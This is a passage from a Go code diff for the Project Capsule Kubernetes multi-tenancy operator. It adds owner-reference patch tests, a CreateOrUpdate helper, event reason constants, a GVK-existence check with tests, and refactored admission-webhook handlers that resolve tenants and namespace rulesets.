    +	mkRef := func(name, uid string, controller, block bool) metav1.OwnerReference {
    +		c := controller
    +		b := block
    +		return metav1.OwnerReference{
    +			APIVersion:         "v1",
    +			Kind:               "ConfigMap",
    +			Name:               name,
    +			UID:                types.UID(uid),
    +			Controller:         &c,
    +			BlockOwnerDeletion: &b,
    +		}
    +	}
    +
    +	t.Run("nil toRemove returns nil", func(t *testing.T) {
    +		t.Parallel()
    +
    +		refs := []metav1.OwnerReference{mkRef("a", "uid-a", true, true)}
    +		got := client.RemoveOwnerReferencePatch(refs, nil)
    +		if got != nil {
    +			t.Fatalf("expected nil, got %#v", got)
    +		}
    +	})
    +
    +	t.Run("empty ownerRefs returns nil", func(t *testing.T) {
    +		t.Parallel()
    +
    +		toRemove := mkRef("a", "uid-a", true, true)
    +		got := client.RemoveOwnerReferencePatch(nil, &toRemove)
    +		if got != nil {
    +			t.Fatalf("expected nil, got %#v", got)
    +		}
    +
    +		got = client.RemoveOwnerReferencePatch([]metav1.OwnerReference{}, &toRemove)
    +		if got != nil {
    +			t.Fatalf("expected nil, got %#v", got)
    +		}
    +	})
    +
    +	t.Run("no matching ownerReference returns nil", func(t *testing.T) {
    +		t.Parallel()
    +
    +		refs := []metav1.OwnerReference{
    +			mkRef("a", "uid-a", true, true),
    +			mkRef("b", "uid-b", false, false),
    +		}
    +		// Different UID and name/kind => should not match
    +		toRemove := mkRef("c", "uid-c", true, true)
    +
    +		got := client.RemoveOwnerReferencePatch(refs, &toRemove)
    +		if got != nil {
    +			t.Fatalf("expected nil, got %#v", got)
    +		}
    +	})
    +
    +	t.Run("match in middle returns single remove patch with correct index", func(t *testing.T) {
    +		t.Parallel()
    +
    +		refs := []metav1.OwnerReference{
    +			mkRef("a", "uid-a", true, true),
    +			mkRef("b", "uid-b", false, false),
    +			mkRef("c", "uid-c", true, false),
    +		}
    +
    +		// Make toRemove identical to refs[1] so LooseOwnerReferenceEqual is true.
    +		toRemove := refs[1]
    +
    +		got := client.RemoveOwnerReferencePatch(refs, &toRemove)
    +		if got == nil {
    +			t.Fatalf("expected patches, got nil")
    +		}
    +		if len(got) != 1 {
    +			t.Fatalf("expected 1 patch, got %d: %#v", len(got), got)
    +		}
    +		if got[0].Operation != "remove" {
    +			t.Fatalf("expected op=remove, got %q", got[0].Operation)
    +		}
    +		wantPath := "/metadata/ownerReferences/1"
    +		if got[0].Path != wantPath {
    +			t.Fatalf("expected path=%q, got %q", wantPath, got[0].Path)
    +		}
    +	})
    +
    +	t.Run("match first occurrence only", func(t *testing.T) {
    +		t.Parallel()
    +
    +		// Duplicate entries (shouldn't happen, but function breaks on first match).
    +		ref := mkRef("dup", "uid-dup", true, true)
    +		refs := []metav1.OwnerReference{ref, ref}
    +
    +		toRemove := ref
    +		got := client.RemoveOwnerReferencePatch(refs, &toRemove)
    +
    +		if got == nil || len(got) != 1 {
    +			t.Fatalf("expected 1 patch, got %#v", got)
    +		}
    +		wantPath := "/metadata/ownerReferences/0"
    +		if got[0].Path != wantPath {
    +			t.Fatalf("expected path=%q, got %q", wantPath, got[0].Path)
    +		}
    +	})
    +
    +	t.Run("single ownerRef match returns remove element patch AND remove field patch", func(t *testing.T) {
    +		t.Parallel()
    +
    +		only := mkRef("only", "uid-only", true, true)
    +		refs := []metav1.OwnerReference{only}
    +
    +		toRemove := only
    +		got := client.RemoveOwnerReferencePatch(refs, &toRemove)
    +		if got == nil {
    +			t.Fatalf("expected patches, got nil")
    +		}
    +		if len(got) != 2 {
    +			t.Fatalf("expected 2 patches, got %d: %#v", len(got), got)
    +		}
    +
    +		if got[0].Operation != "remove" || got[0].Path != "/metadata/ownerReferences/0" {
    +			t.Fatalf("unexpected first patch: %#v", got[0])
    +		}
    +		if got[1].Operation != "remove" || got[1].Path != "/metadata/ownerReferences" {
    +			t.Fatalf("unexpected second patch: %#v", got[1])
    +		}
    +	})
    +
    +	t.Run("index in path is correct for each position", func(t *testing.T) {
    +		t.Parallel()
    +
    +		refs := []metav1.OwnerReference{
    +			mkRef("a", "uid-a", true, true),
    +			mkRef("b", "uid-b", true, true),
    +			mkRef("c", "uid-c", true, true),
    +		}
    +
    +		for i := range refs {
    +			i := i
    +			t.Run(fmt.Sprintf("match index %d", i), func(t *testing.T) {
    +				t.Parallel()
    +
    +				toRemove := refs[i]
    +				got := client.RemoveOwnerReferencePatch(refs, &toRemove)
    +				if got == nil || len(got) != 1 {
    +					t.Fatalf("expected 1 patch, got %#v", got)
    +				}
    +				wantPath := fmt.Sprintf("/metadata/ownerReferences/%d", i)
    +				if got[0].Path != wantPath {
    +					t.Fatalf("expected path=%q, got %q", wantPath, got[0].Path)
    +				}
    +			})
    +		}
    +	})
    +}
    
  • pkg/runtime/client/update.go+53 0 added
    @@ -0,0 +1,53 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package client
    +
    +import (
    +	"context"
    +
    +	"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/controller/controllerutil"
    +)
    +
    +// CreateOrUpdate Implementation with optional IgnoreRules.
    +func CreateOrUpdate(
    +	ctx context.Context,
    +	c client.Client,
    +	obj *unstructured.Unstructured,
    +	labels, annotations map[string]string,
    +	ignore []IgnoreRule,
    +) error {
    +	actual := &unstructured.Unstructured{}
    +	actual.SetGroupVersionKind(obj.GroupVersionKind())
    +	actual.SetNamespace(obj.GetNamespace())
    +	actual.SetName(obj.GetName())
    +
    +	_ = c.Get(ctx, client.ObjectKeyFromObject(actual), actual) // ignore notfound here
    +
    +	igPaths := MatchIgnorePaths(ignore, obj)
    +	for _, p := range igPaths {
    +		_ = JsonPointerDelete(obj.Object, p)
    +	}
    +
    +	_, err := controllerutil.CreateOrPatch(ctx, c, actual, func() error {
    +		live := actual.DeepCopy()
    +		desired := obj.DeepCopy()
    +
    +		if len(igPaths) > 0 {
    +			PreserveIgnoredPaths(desired.Object, live.Object, igPaths)
    +		}
    +
    +		uid := actual.GetUID()
    +		rv := actual.GetResourceVersion()
    +
    +		actual.Object = desired.Object
    +		actual.SetUID(uid)
    +		actual.SetResourceVersion(rv)
    +
    +		return nil
    +	})
    +
    +	return err
    +}
    
  • pkg/runtime/client/zz_generated.deepcopy.go+37 0 added
    @@ -0,0 +1,37 @@
    +//go:build !ignore_autogenerated
    +
    +// Copyright 2020-2023 Project Capsule Authors.
    +// SPDX-License-Identifier: Apache-2.0
    +
    +// Code generated by controller-gen. DO NOT EDIT.
    +
    +package client
    +
    +import (
    +	"github.com/fluxcd/pkg/apis/kustomize"
    +)
    +
    +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil.
    +func (in *IgnoreRule) DeepCopyInto(out *IgnoreRule) {
    +	*out = *in
    +	if in.Paths != nil {
    +		in, out := &in.Paths, &out.Paths
    +		*out = make([]string, len(*in))
    +		copy(*out, *in)
    +	}
    +	if in.Target != nil {
    +		in, out := &in.Target, &out.Target
    +		*out = new(kustomize.Selector)
    +		**out = **in
    +	}
    +}
    +
    +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new IgnoreRule.
    +func (in *IgnoreRule) DeepCopy() *IgnoreRule {
    +	if in == nil {
    +		return nil
    +	}
    +	out := new(IgnoreRule)
    +	in.DeepCopyInto(out)
    +	return out
    +}
    
  • pkg/runtime/configuration/client.go+12 0 renamed
    @@ -169,3 +169,15 @@ func (c *capsuleConfiguration) ForbiddenUserNodeAnnotations() *capsuleapi.Forbid
     func (c *capsuleConfiguration) Administrators() capsuleapi.UserListSpec {
     	return c.retrievalFn().Spec.Administrators
     }
    +
    +func (c *capsuleConfiguration) Admission() capsulev1beta2.DynamicAdmission {
    +	return c.retrievalFn().Spec.Admission
    +}
    +
    +func (c *capsuleConfiguration) RBAC() *capsulev1beta2.RBACConfiguration {
    +	return c.retrievalFn().Spec.RBAC
    +}
    +
    +func (c *capsuleConfiguration) CacheInvalidation() metav1.Duration {
    +	return c.retrievalFn().Spec.CacheInvalidation
    +}
    
  • pkg/runtime/configuration/configuration.go+6 0 renamed
    @@ -6,6 +6,9 @@ package configuration
     import (
     	"regexp"
     
    +	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
     	capsuleapi "github.com/projectcapsule/capsule/pkg/api"
     )
     
    @@ -32,4 +35,7 @@ type Configuration interface {
     	ForbiddenUserNodeLabels() *capsuleapi.ForbiddenListSpec
     	ForbiddenUserNodeAnnotations() *capsuleapi.ForbiddenListSpec
     	Administrators() capsuleapi.UserListSpec
    +	Admission() capsulev1beta2.DynamicAdmission
    +	RBAC() *capsulev1beta2.RBACConfiguration
    +	CacheInvalidation() metav1.Duration
     }
    
  • pkg/runtime/events/actions.go+14 0 added
    @@ -0,0 +1,14 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package events
    +
    +const (
    +	ActionCordoned       string = "Cordoned"
    +	ActionUncordoned     string = "UnCordoned"
    +	ActionReconciled     string = "Reconciled"
    +	ActionDisassociating string = "Disassociating"
    +
    +	ActionMutated          string = "Mutated"
    +	ActionValidationDenied string = "ValidationDenied"
    +)
    
  • pkg/runtime/events/reasons.go+59 0 added
    @@ -0,0 +1,59 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package events
    +
    +const (
    +	// Generic.
    +	ReasonTenantResourceWriteOp string = "TenantResourceWriteOp"
    +	ReasonOverprovision         string = "Overprovisioned"
    +	ReasonCordoning             string = "Cordoned"
    +	// ForbiddenLabelReason used as reason string to deny forbidden labels.
    +	ReasonForbiddenLabel string = "ForbiddenLabel"
    +	// ForbiddenAnnotationReason used as reason string to deny forbidden annotations.
    +	ReasonForbiddenAnnotation string = "ForbiddenAnnotation"
    +
    +	// Namespace.
    +	ReasonNamespaceHijack string = "ReasonNamespacePatch"
    +
    +	// Tenant.
    +	ReasonTenantDefaulted     string = "TenantDefaulted"
    +	ReasonTenantAssigned      string = "TenantAssigned"
    +	ReasonInvalidTenantPrefix string = "InvalidTenantPrefix"
    +	ReasonPromotionDenied     string = "ReasonPromotionDenied"
    +
    +	// Classes.
    +	ReasonMissingStorageClass    string = "MissingStorageClass"
    +	ReasonForbiddenStorageClass  string = "ForbiddenStorageClass"
    +	ReasonForbiddenPriorityClass string = "ForbiddenPriorityClass"
    +	ReasonForbiddenRuntimeClass  string = "ForbiddenRuntimeClass"
    +	ReasonForbiddenIngressClass  string = "ForbiddenIngressClass"
    +	ReasonMissingIngressClass    string = "MissingIngressClass"
    +	ReasonForbiddenGatewayClass  string = "ForbiddenGatewayClass"
    +	ReasonMissingGatewayClass    string = "MissingGatewayClass"
    +	ReasonMissingDeviceClass     string = "MissingDeviceClass"
    +	ReasonForbiddenDeviceClass   string = "ForbiddenDeviceClass"
    +
    +	// Pods.
    +	ReasonMissingFQCI                string = "MissingFQCI"
    +	ReasonForbiddenContainerRegistry string = "ForbiddenContainerRegistry"
    +	ReasonForbiddenPullPolicy        string = "ForbiddenPullPolicy"
    +
    +	// Ingress.
    +	ReasonWildcardDenied           string = "WildcardDenied"
    +	ReasonIngressHostnameNotValid  string = "IngressHostnameNotValid"
    +	ReasonIngressHostnameEmpty     string = "IngressHostnameEmpty"
    +	ReasonIngressHostnameCollision string = "IngressHostnameCollision"
    +
    +	// Services.
    +	ReasonForbiddenExternalServiceIP string = "ForbiddenExternalServiceIP"
    +	ReasonForbiddenLoadBalancer      string = "ForbiddenLoadBalancer"
    +	ReasonForbiddenExternalName      string = "ForbiddenExternalName"
    +	ReasonForbiddenNodePort          string = "ForbiddenNodePort"
    +
    +	// Storage.
    +	ReasonCrossTenantReference string = "CrossTenantReference"
    +
    +	// ResourcePools.
    +	ReasonDisassociated string = "Disassociated"
    +)
    
  • pkg/runtime/gvk/has_gvk.go+25 0 added
    @@ -0,0 +1,25 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package gvk
    +
    +import (
    +	"k8s.io/apimachinery/pkg/api/meta"
    +	"k8s.io/apimachinery/pkg/runtime/schema"
    +	ctrl "sigs.k8s.io/controller-runtime"
    +)
    +
    +func HasGVK(mapper meta.RESTMapper, gvk schema.GroupVersionKind) bool {
    +	_, err := mapper.RESTMapping(gvk.GroupKind(), gvk.Version)
    +	if err != nil {
    +		if meta.IsNoMatchError(err) {
    +			return false
    +		}
    +
    +		ctrl.Log.WithName("gvk-check").Error(err, "failed to check RESTMapping", "gvk", gvk.String())
    +
    +		return false
    +	}
    +
    +	return true
    +}
    
  • pkg/runtime/gvk/has_gvk_test.go+133 0 added
    @@ -0,0 +1,133 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package gvk_test
    +
    +import (
    +	"errors"
    +	"testing"
    +
    +	"k8s.io/apimachinery/pkg/api/meta"
    +	"k8s.io/apimachinery/pkg/runtime/schema"
    +
    +	"github.com/projectcapsule/capsule/pkg/runtime/gvk"
    +)
    +
    +// stubRESTMapper implements meta.RESTMapper (a "fat" interface), but we only
    +// care about RESTMapping() for these tests.
    +type stubRESTMapper struct {
    +	mapping *meta.RESTMapping
    +	err     error
    +
    +	lastGK      schema.GroupKind
    +	lastVersion string
    +	calls       int
    +}
    +
    +func (s *stubRESTMapper) KindFor(resource schema.GroupVersionResource) (schema.GroupVersionKind, error) {
    +	return schema.GroupVersionKind{}, errors.New("not implemented")
    +}
    +
    +func (s *stubRESTMapper) KindsFor(resource schema.GroupVersionResource) ([]schema.GroupVersionKind, error) {
    +	return nil, errors.New("not implemented")
    +}
    +
    +func (s *stubRESTMapper) ResourceFor(input schema.GroupVersionResource) (schema.GroupVersionResource, error) {
    +	return schema.GroupVersionResource{}, errors.New("not implemented")
    +}
    +
    +func (s *stubRESTMapper) ResourcesFor(input schema.GroupVersionResource) ([]schema.GroupVersionResource, error) {
    +	return nil, errors.New("not implemented")
    +}
    +
    +func (s *stubRESTMapper) RESTMapping(gk schema.GroupKind, versions ...string) (*meta.RESTMapping, error) {
    +	s.calls++
    +	s.lastGK = gk
    +	if len(versions) > 0 {
    +		s.lastVersion = versions[0]
    +	}
    +	if s.err != nil {
    +		return nil, s.err
    +	}
    +	return s.mapping, nil
    +}
    +
    +func (s *stubRESTMapper) RESTMappings(gk schema.GroupKind, versions ...string) ([]*meta.RESTMapping, error) {
    +	return nil, errors.New("not implemented")
    +}
    +
    +func (s *stubRESTMapper) ResourceSingularizer(resource string) (string, error) {
    +	return "", errors.New("not implemented")
    +}
    +
    +func TestHasGVK(t *testing.T) {
    +	t.Parallel()
    +
    +	gvkT := schema.GroupVersionKind{
    +		Group:   "capsule.clastix.io",
    +		Version: "v1beta2",
    +		Kind:    "RuleStatus",
    +	}
    +
    +	t.Run("returns true when RESTMapping succeeds", func(t *testing.T) {
    +		t.Parallel()
    +
    +		m := &stubRESTMapper{
    +			mapping: &meta.RESTMapping{
    +				Resource: schema.GroupVersionResource{
    +					Group:    gvkT.Group,
    +					Version:  gvkT.Version,
    +					Resource: "rulestatuses",
    +				},
    +				GroupVersionKind: gvkT,
    +			},
    +		}
    +
    +		got := gvk.HasGVK(m, gvkT)
    +		if got != true {
    +			t.Fatalf("expected true, got %v", got)
    +		}
    +		if m.calls != 1 {
    +			t.Fatalf("expected RESTMapping to be called once, calls=%d", m.calls)
    +		}
    +		if m.lastGK != gvkT.GroupKind() {
    +			t.Fatalf("expected GroupKind=%v, got %v", gvkT.GroupKind(), m.lastGK)
    +		}
    +		if m.lastVersion != gvkT.Version {
    +			t.Fatalf("expected version=%q, got %q", gvkT.Version, m.lastVersion)
    +		}
    +	})
    +
    +	t.Run("returns false on NoMatchError", func(t *testing.T) {
    +		t.Parallel()
    +
    +		noMatch := &meta.NoKindMatchError{
    +			GroupKind:        gvkT.GroupKind(),
    +			SearchedVersions: []string{gvkT.Version},
    +		}
    +
    +		m := &stubRESTMapper{err: noMatch}
    +
    +		got := gvk.HasGVK(m, gvkT)
    +		if got != false {
    +			t.Fatalf("expected false, got %v", got)
    +		}
    +		if m.calls != 1 {
    +			t.Fatalf("expected RESTMapping to be called once, calls=%d", m.calls)
    +		}
    +	})
    +
    +	t.Run("returns false on generic error (and does not panic)", func(t *testing.T) {
    +		t.Parallel()
    +
    +		m := &stubRESTMapper{err: errors.New("boom")}
    +
    +		got := gvk.HasGVK(m, gvkT)
    +		if got != false {
    +			t.Fatalf("expected false, got %v", got)
    +		}
    +		if m.calls != 1 {
    +			t.Fatalf("expected RESTMapping to be called once, calls=%d", m.calls)
    +		}
    +	})
    +}
    
  • pkg/runtime/handlers/errors.go+16 0 added
    @@ -0,0 +1,16 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package handlers
    +
    +import (
    +	"net/http"
    +
    +	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
    +)
    +
    +func ErroredResponse(err error) *admission.Response {
    +	response := admission.Errored(http.StatusInternalServerError, err)
    +
    +	return &response
    +}
    
  • pkg/runtime/handlers/handlers.go+34 0 added
    @@ -0,0 +1,34 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package handlers
    +
    +import (
    +	"context"
    +
    +	"k8s.io/client-go/tools/events"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +)
    +
    +type Func func(ctx context.Context, req admission.Request) *admission.Response
    +
    +type Handler interface {
    +	OnCreate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func
    +	OnDelete(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func
    +	OnUpdate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func
    +}
    +
    +type HanderWithTenant interface {
    +	OnCreate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    +	OnUpdate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    +	OnDelete(c client.Client, decoder admission.Decoder, recorder events.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    +}
    +
    +type TypedHandler[T client.Object] interface {
    +	OnCreate(c client.Client, obj T, decoder admission.Decoder, recorder events.EventRecorder) Func
    +	OnUpdate(c client.Client, obj T, old T, decoder admission.Decoder, recorder events.EventRecorder) Func
    +	OnDelete(c client.Client, obj T, decoder admission.Decoder, recorder events.EventRecorder) Func
    +}
    
  • pkg/runtime/handlers/in_capsule_groups.go+10 10 renamed
    @@ -1,21 +1,21 @@
     // Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package utils
    +//nolint:dupl
    +package handlers
     
     import (
     	"context"
     
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
    -	"github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/users"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/users"
     )
     
    -func InCapsuleGroups(configuration configuration.Configuration, handlers ...webhook.Handler) webhook.Handler {
    +func InCapsuleGroups(configuration configuration.Configuration, handlers ...Handler) Handler {
     	return &handler{
     		configuration: configuration,
     		handlers:      handlers,
    @@ -24,11 +24,11 @@ func InCapsuleGroups(configuration configuration.Configuration, handlers ...webh
     
     type handler struct {
     	configuration configuration.Configuration
    -	handlers      []webhook.Handler
    +	handlers      []Handler
     }
     
     //nolint:dupl
    -func (h *handler) OnCreate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *handler) OnCreate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		if !users.IsCapsuleUser(ctx, client, h.configuration, req.UserInfo.Username, req.UserInfo.Groups) {
     			return nil
    @@ -45,7 +45,7 @@ func (h *handler) OnCreate(client client.Client, decoder admission.Decoder, reco
     }
     
     //nolint:dupl
    -func (h *handler) OnDelete(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *handler) OnDelete(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		if !users.IsCapsuleUser(ctx, client, h.configuration, req.UserInfo.Username, req.UserInfo.Groups) {
     			return nil
    @@ -62,7 +62,7 @@ func (h *handler) OnDelete(client client.Client, decoder admission.Decoder, reco
     }
     
     //nolint:dupl
    -func (h *handler) OnUpdate(client client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *handler) OnUpdate(client client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		if !users.IsCapsuleUser(ctx, client, h.configuration, req.UserInfo.Username, req.UserInfo.Groups) {
     			return nil
    
  • pkg/runtime/handlers/typed_tenant.go+13 10 renamed
    @@ -2,28 +2,31 @@
     // SPDX-License-Identifier: Apache-2.0
     
     //nolint:dupl
    -package utils
    +package handlers
     
     import (
     	"context"
     
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	"github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
    -type newObjectFunc[T client.Object] func() T
    +type TypedHandlerWithTenant[T client.Object] interface {
    +	OnCreate(c client.Client, obj T, decoder admission.Decoder, recorder events.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    +	OnUpdate(c client.Client, obj T, old T, decoder admission.Decoder, recorder events.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    +	OnDelete(c client.Client, obj T, decoder admission.Decoder, recorder events.EventRecorder, tnt *capsulev1beta2.Tenant) Func
    +}
     
     type TypedTenantHandler[T client.Object] struct {
    -	Factory  newObjectFunc[T]
    -	Handlers []webhook.TypedHandlerWithTenant[T]
    +	Factory  NewObjectFunc[T]
    +	Handlers []TypedHandlerWithTenant[T]
     }
     
    -func (h *TypedTenantHandler[T]) OnCreate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *TypedTenantHandler[T]) OnCreate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		tnt, err := h.resolveTenant(ctx, c, req)
     		if err != nil {
    @@ -49,7 +52,7 @@ func (h *TypedTenantHandler[T]) OnCreate(c client.Client, decoder admission.Deco
     	}
     }
     
    -func (h *TypedTenantHandler[T]) OnUpdate(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *TypedTenantHandler[T]) OnUpdate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		tnt, err := h.resolveTenant(ctx, c, req)
     		if err != nil {
    @@ -80,7 +83,7 @@ func (h *TypedTenantHandler[T]) OnUpdate(c client.Client, decoder admission.Deco
     	}
     }
     
    -func (h *TypedTenantHandler[T]) OnDelete(c client.Client, decoder admission.Decoder, recorder record.EventRecorder) webhook.Func {
    +func (h *TypedTenantHandler[T]) OnDelete(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		tnt, err := h.resolveTenant(ctx, c, req)
     		if err != nil {
    
  • pkg/runtime/handlers/typed_tenant_ruleset.go+168 0 added
    @@ -0,0 +1,168 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +//nolint:dupl
    +package handlers
    +
    +import (
    +	"context"
    +
    +	corev1 "k8s.io/api/core/v1"
    +	apierrors "k8s.io/apimachinery/pkg/api/errors"
    +	"k8s.io/apimachinery/pkg/types"
    +	"k8s.io/client-go/tools/events"
    +	"sigs.k8s.io/controller-runtime/pkg/client"
    +	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
    +
    +	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    +	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
    +)
    +
    +type TypedHandlerWithTenantWithRuleset[T client.Object] interface {
    +	OnCreate(c client.Client, obj T, decoder admission.Decoder, recorder events.EventRecorder, tnt *capsulev1beta2.Tenant, rule *capsulev1beta2.NamespaceRuleBody) Func
    +	OnUpdate(c client.Client, obj T, old T, decoder admission.Decoder, recorder events.EventRecorder, tnt *capsulev1beta2.Tenant, rule *capsulev1beta2.NamespaceRuleBody) Func
    +	OnDelete(c client.Client, obj T, decoder admission.Decoder, recorder events.EventRecorder, tnt *capsulev1beta2.Tenant, rule *capsulev1beta2.NamespaceRuleBody) Func
    +}
    +
    +type TypedTenantWithRulesetHandler[T client.Object] struct {
    +	Factory  NewObjectFunc[T]
    +	Handlers []TypedHandlerWithTenantWithRuleset[T]
    +}
    +
    +func (h *TypedTenantWithRulesetHandler[T]) OnCreate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func {
    +	return func(ctx context.Context, req admission.Request) *admission.Response {
    +		tnt, err := h.resolveTenant(ctx, c, req)
    +		if err != nil {
    +			return ErroredResponse(err)
    +		}
    +
    +		if tnt == nil {
    +			return nil
    +		}
    +
    +		obj := h.Factory()
    +		if err := decoder.Decode(req, obj); err != nil {
    +			return ErroredResponse(err)
    +		}
    +
    +		rule, err := h.resolveRuleset(ctx, c, req, req.Namespace, tnt)
    +		if err != nil {
    +			return ErroredResponse(err)
    +		}
    +
    +		for _, hndl := range h.Handlers {
    +			if response := hndl.OnCreate(c, obj, decoder, recorder, tnt, rule)(ctx, req); response != nil {
    +				return response
    +			}
    +		}
    +
    +		return nil
    +	}
    +}
    +
    +func (h *TypedTenantWithRulesetHandler[T]) OnUpdate(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func {
    +	return func(ctx context.Context, req admission.Request) *admission.Response {
    +		tnt, err := h.resolveTenant(ctx, c, req)
    +		if err != nil {
    +			return ErroredResponse(err)
    +		}
    +
    +		if tnt == nil {
    +			return nil
    +		}
    +
    +		newObj := h.Factory()
    +		if err := decoder.Decode(req, newObj); err != nil {
    +			return ErroredResponse(err)
    +		}
    +
    +		oldObj := h.Factory()
    +		if err := decoder.DecodeRaw(req.OldObject, oldObj); err != nil {
    +			return ErroredResponse(err)
    +		}
    +
    +		rule, err := h.resolveRuleset(ctx, c, req, req.Namespace, tnt)
    +		if err != nil {
    +			return ErroredResponse(err)
    +		}
    +
    +		for _, hndl := range h.Handlers {
    +			if response := hndl.OnUpdate(c, oldObj, newObj, decoder, recorder, tnt, rule)(ctx, req); response != nil {
    +				return response
    +			}
    +		}
    +
    +		return nil
    +	}
    +}
    +
    +func (h *TypedTenantWithRulesetHandler[T]) OnDelete(c client.Client, decoder admission.Decoder, recorder events.EventRecorder) Func {
    +	return func(ctx context.Context, req admission.Request) *admission.Response {
    +		tnt, err := h.resolveTenant(ctx, c, req)
    +		if err != nil {
    +			return ErroredResponse(err)
    +		}
    +
    +		if tnt == nil {
    +			return nil
    +		}
    +
    +		obj := h.Factory()
    +		if err := decoder.Decode(req, obj); err != nil {
    +			return ErroredResponse(err)
    +		}
    +
    +		rule, err := h.resolveRuleset(ctx, c, req, req.Namespace, tnt)
    +		if err != nil {
    +			return ErroredResponse(err)
    +		}
    +
    +		for _, hndl := range h.Handlers {
    +			if response := hndl.OnDelete(c, obj, decoder, recorder, tnt, rule)(ctx, req); response != nil {
    +				return response
    +			}
    +		}
    +
    +		return nil
    +	}
    +}
    +
    +func (h *TypedTenantWithRulesetHandler[T]) resolveTenant(ctx context.Context, c client.Client, req admission.Request) (*capsulev1beta2.Tenant, error) {
    +	if req.Namespace == "" {
    +		return nil, nil
    +	}
    +
    +	return tenant.TenantByStatusNamespace(ctx, c, req.Namespace)
    +}
    +
    +// Resolve the corresponding managed ruleset for this namespace
    +// If not yet present try to calculate it.
    +func (h *TypedTenantWithRulesetHandler[T]) resolveRuleset(
    +	ctx context.Context,
    +	c client.Client,
    +	req admission.Request,
    +	namespace string,
    +	tnt *capsulev1beta2.Tenant,
    +) (*capsulev1beta2.NamespaceRuleBody, error) {
    +	rs := &capsulev1beta2.RuleStatus{}
    +	key := types.NamespacedName{
    +		Namespace: namespace,
    +		Name:      meta.NameForManagedRuleStatus(),
    +	}
    +
    +	if err := c.Get(ctx, key, rs); err == nil {
    +		rule := rs.Status.Rule
    +
    +		return &rule, nil
    +	} else if !apierrors.IsNotFound(err) {
    +		return nil, err
    +	}
    +
    +	ns := &corev1.Namespace{}
    +	if err := c.Get(ctx, types.NamespacedName{Name: namespace}, ns); err != nil {
    +		return nil, err
    +	}
    +
    +	return tenant.BuildNamespaceRuleBodyForNamespace(ns, tnt)
    +}
    
  • pkg/runtime/handlers/utils.go+8 0 added
    @@ -0,0 +1,8 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
